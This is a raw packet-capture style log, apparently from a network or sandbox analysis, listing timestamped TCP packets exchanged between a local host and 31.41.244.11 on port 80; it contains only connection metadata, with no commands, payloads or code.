Dec 20, 2024 11:12:15.423815966 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:15.423867941 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:15.423897982 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:15.423937082 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:15.424973011 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:15.425091982 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:15.425137997 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:15.425961018 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:15.426048994 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:15.426101923 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:15.427093029 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:15.427155018 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:15.427198887 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:15.428158998 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:15.428205967 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:15.428251028 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:15.429286003 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:15.429335117 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:15.429352045 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:15.430304050 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:15.430361986 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:15.430408955 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:15.431410074 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:15.431468010 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:15.431498051 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:15.431539059 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:15.432472944 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:15.432590008 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:15.432636023 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:15.433573961 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:15.433690071 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:15.433737040 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:15.434660912 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:15.434710026 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:15.434806108 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:15.435764074 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:15.435803890 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:15.435813904 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:15.436834097 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:15.436882019 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:15.436932087 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:15.436975956 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:15.437932968 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:15.437994957 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:15.438045979 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:15.439035892 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:15.439140081 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:15.439187050 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:15.440114021 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:15.440160990 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:15.440196991 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:15.443897009 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:15.576176882 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:15.576236010 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:15.576262951 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:15.576340914 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:15.576706886 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:15.576751947 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:15.576834917 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:15.576878071 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:15.577565908 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:15.577614069 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:15.577697039 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:15.577742100 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:15.578677893 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:15.578727007 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:15.578819036 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:15.578937054 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:15.579778910 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:15.579797029 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:15.579823971 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:15.579835892 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:15.580810070 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:15.580858946 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:15.580933094 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:15.580976009 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:15.581897974 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:15.581944942 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:15.582016945 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:15.582062006 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:15.583059072 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:15.583268881 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:15.583328962 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:15.584054947 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:15.584218979 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:15.584276915 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:15.585150003 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:15.585208893 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:15.585251093 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:15.586251020 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:15.586303949 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:15.586378098 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:15.587327957 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:15.587389946 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:15.587466955 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:15.587513924 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:15.588398933 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:15.588494062 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:15.588538885 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:15.589497089 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:15.589613914 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:15.589658976 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:15.590581894 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:15.590634108 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:15.590691090 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:15.591675043 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:15.591722012 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:15.591749907 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:15.592763901 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:15.592809916 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:15.592854023 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:15.592896938 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:15.593846083 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:15.593981981 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:15.594029903 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:15.594918013 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:15.594975948 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:15.595016003 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:15.595273018 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:15.596005917 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:15.596112013 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:15.596158981 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:15.597141981 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:15.597253084 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:15.597318888 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:15.598189116 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:15.598248005 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:15.598407030 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:15.599291086 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:15.599349976 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:15.599399090 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:15.600404978 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:15.600466013 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:15.600496054 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:15.601500034 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:15.601561069 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:15.601608038 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:15.601651907 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:15.602543116 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:15.602722883 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:15.602777958 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:15.603677034 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:15.603887081 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:15.603939056 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:15.604721069 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:15.604847908 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:15.604897022 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:15.605817080 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:15.606002092 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:15.606051922 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:15.606940985 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:15.607012987 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:15.607062101 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:15.608021021 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:15.608131886 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:15.608191013 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:15.609095097 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:15.609153986 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:15.609154940 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:15.609199047 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:15.610148907 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:15.610260010 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:15.610311031 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:15.611274004 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:15.611325026 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:15.611362934 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:15.611408949 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:15.612337112 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:15.612382889 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:15.612473965 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:15.612515926 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:15.613424063 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:15.613559008 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:15.613603115 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:15.614523888 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:15.614567995 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:15.614612103 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:15.614655972 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:15.615586996 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:15.615668058 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:15.615712881 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:15.615865946 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:15.616676092 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:15.616723061 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:15.616761923 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:15.616806030 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:15.617770910 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:15.617816925 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:15.617861032 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:15.617909908 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:15.618864059 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:15.618910074 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:15.619061947 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:15.619107962 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:15.619946003 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:15.619991064 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:15.620037079 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:15.620079994 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:15.621033907 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:15.621079922 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:15.621126890 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:15.621170044 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:15.622111082 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:15.622158051 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:15.622190952 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:15.622235060 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:15.623222113 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:15.623265982 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:15.623318911 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:15.623491049 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:15.624351025 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:15.624378920 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:15.624399900 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:15.624413013 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:15.625370026 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:15.625415087 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:15.625575066 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:15.625618935 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:15.626471996 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:15.626518011 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:15.626981020 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:15.627029896 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:15.627542019 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:15.627588987 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:15.627636909 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:15.627681971 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:15.628637075 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:15.628683090 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:15.628741980 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:15.628786087 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:15.629753113 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:15.629801035 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:15.629839897 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:15.629883051 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:15.630805969 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:15.630855083 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:15.630925894 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:15.630970955 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:15.631901026 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:15.631949902 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:15.631994963 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:15.632036924 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:15.632967949 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:15.633013010 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:15.768728018 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:15.768774986 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:15.768889904 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:15.769087076 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:15.769140005 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:15.769161940 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:15.769207001 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:15.770121098 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:15.770170927 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:15.770236969 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:15.770282984 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:15.771215916 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:15.771341085 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:15.771342993 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:15.771395922 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:15.772296906 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:15.772341013 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:15.772345066 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:15.772414923 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:15.773370981 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:15.773420095 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:15.773446083 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:15.773485899 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:15.774461985 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:15.774507999 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:15.774604082 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:15.774646997 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:15.775588036 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:15.775633097 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:15.775681973 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:15.775782108 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:15.776673079 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:15.776779890 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:15.776781082 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:15.776829004 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:15.777725935 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:15.777789116 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:15.777836084 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:15.777878046 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:15.778831959 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:15.778887033 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:15.778923988 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:15.778964996 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:15.779901981 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:15.779962063 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:15.780005932 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:15.780069113 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:15.780997992 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:15.781044960 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:15.781094074 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:15.781136036 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:15.782094002 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:15.782146931 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:15.782174110 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:15.782217979 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:15.783164978 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:15.783220053 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:15.783334017 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:15.783377886 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:15.784257889 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:15.784303904 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:15.784317970 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:15.784360886 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:15.785324097 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:15.785370111 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:15.785414934 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:15.785459995 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:15.786412954 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:15.786458969 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:15.786528111 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:15.786573887 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:15.787503004 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:15.787547112 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:15.787633896 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:15.787673950 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:15.788618088 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:15.788664103 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:15.788707972 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:15.788750887 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:15.789690018 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:15.789735079 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:15.789778948 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:15.789822102 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:15.790774107 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:15.790829897 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:15.790874958 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:15.790918112 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:15.791951895 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:15.791994095 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:15.792088985 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:15.792130947 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:15.793312073 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:15.793355942 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:15.793422937 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:15.793464899 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:15.794205904 CET	80	49768	31.41.244.11	192.168.2.4
